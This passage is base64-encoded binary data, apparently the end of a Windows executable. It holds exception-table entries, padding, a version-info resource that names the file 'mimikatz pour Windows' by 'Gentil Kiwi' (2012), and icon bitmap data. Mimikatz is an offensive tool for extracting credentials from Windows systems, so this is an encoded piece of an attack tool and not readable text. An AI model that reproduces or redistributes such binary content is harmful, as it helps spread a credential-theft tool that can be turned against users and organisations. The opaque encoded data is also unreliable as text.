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bABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAG0AaQBtAGkAawBhAHQAegAAAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADIAIABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAAAAADIACQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAwEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACws